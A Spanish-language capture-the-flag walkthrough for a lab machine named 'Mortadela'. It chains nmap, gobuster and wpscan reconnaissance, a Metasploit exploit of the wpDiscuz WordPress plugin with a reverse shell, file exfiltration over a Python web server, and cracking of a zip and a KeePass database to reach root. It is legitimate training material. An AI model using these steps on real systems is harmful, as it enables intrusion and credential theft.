Mortadela
🔍 Dificultad: Principiante
🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
ping -c 1 192.168.1.68para verificar la conectividad de red.

A continuación, se realiza el comando:
nmap -sVC -p- -n --min-rate 5000 192.168.1.68para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH, el puerto 80 perteneciente al servicio HTTP y el puerto 3306 perteneciente al servicio MySQL están abiertos por lo que a continuación se indagará más.
🔎 EXPLORACIÓN
Se utiliza el comando:
sudo nmap -sCV -p22,80,3306 -v 192.168.1.68para obtener más información sobre ese puerto específicamente.

Seguimos indagando más sobre los puertos y ahora exploramos el servicio HTTP. Ingresamos la IP y nos encontramos la página por defecto de Apache.

Ahora buscaremos directorios con la herramienta Gobuster a través de:
gobuster dir -u http://192.168.1.68/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Vemos que nos ha encontrado un directorio de WordPress por lo que accederemos a él.

Como no encontramos nada relevante vamos a realizar un escaneo de plugins.
wpscan --url http://192.168.1.68/wordpress/ --plugins-detection aggressive
Se nos muestra un plugin llamado wpdiscuz y su versión por lo que a través de searchsploit miraremos si esa versión contiene alguna vulnerabilidad para explotar con Metasploit.

🚀 EXPLOTACIÓN
Comprobamos que sí la hay.
msfconsole
Buscamos plugin para la vulnerabilidad.
search wpdiscuz
use 0
show options
Configuramos lo que nos piden.

Ejecutamos.
run
Ejecutamos una shell pero nos ponemos en escucha a través del puerto 443 para enviarnos una Reverse Shell.


Realizamos tratamiento de la TTY. Como se nos muestra aquí: Tratamiento de la TTY.
🔐 PRIVILEGIOS
Al estar dentro y ejecutar:
whoamiaún no somos root, por lo que hacemos:
sudo -lpara ver si hay algo para explotar pero no tenemos permisos. Por lo que buscamos SUID.
find / -perm -4000 -ls 2> /dev/nullNo hay un binario para escalar privilegios. Por lo que indagamos a través de los directorios y encontramos en el directorio /opt un archivo .zip. Al descomprimirlo nos pide una contraseña. Nos lo descargamos a nuestra máquina local.
En la máquina víctima
python3 -m http.server 8080
En la máquina atacante
wget http://192.168.1.68:8080/muyconfidencial.zipAhora realizamos fuerza bruta.
zip2john muyconfidencial.zip > hash_zipjohn hash_zip --wordlist=/usr/share/wordlists/rockyou.txt 
Hemos descubierto la contraseña que se nos pide para descomprimir el archivo.

Utilizamos el siguiente script de Python para extraer contraseñas de un archivo de base de datos de KeePass:
https://github.com/z-jxy/keepass_dump/blob/main/keepass_dump.pypython3 keepass.py -f KeePass.DMP
Ahora creamos un diccionario con mayúsculas y minúsculas.
crunch 14 14 ABCDEFGHIJKLMNÑOPQRSTUVWXYZabcdefghijklmnñopqrstuvwxyz -t @aritrini12345 -o diccionario.txt
Ahora que contamos con un diccionario, procederemos a extraer el hash del archivo utilizando keepass2john. Posteriormente, emplearemos john para descubrir la contraseña.
keepass2john Database.kdbx > hashjohn hash --wordlist=diccionario.txt
keepass2 Database.kdbxIngresamos la contraseña y vemos que hay un usuario root. Copiamos la contraseña e iniciamos sesión.


Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
Last updated
Was this helpful?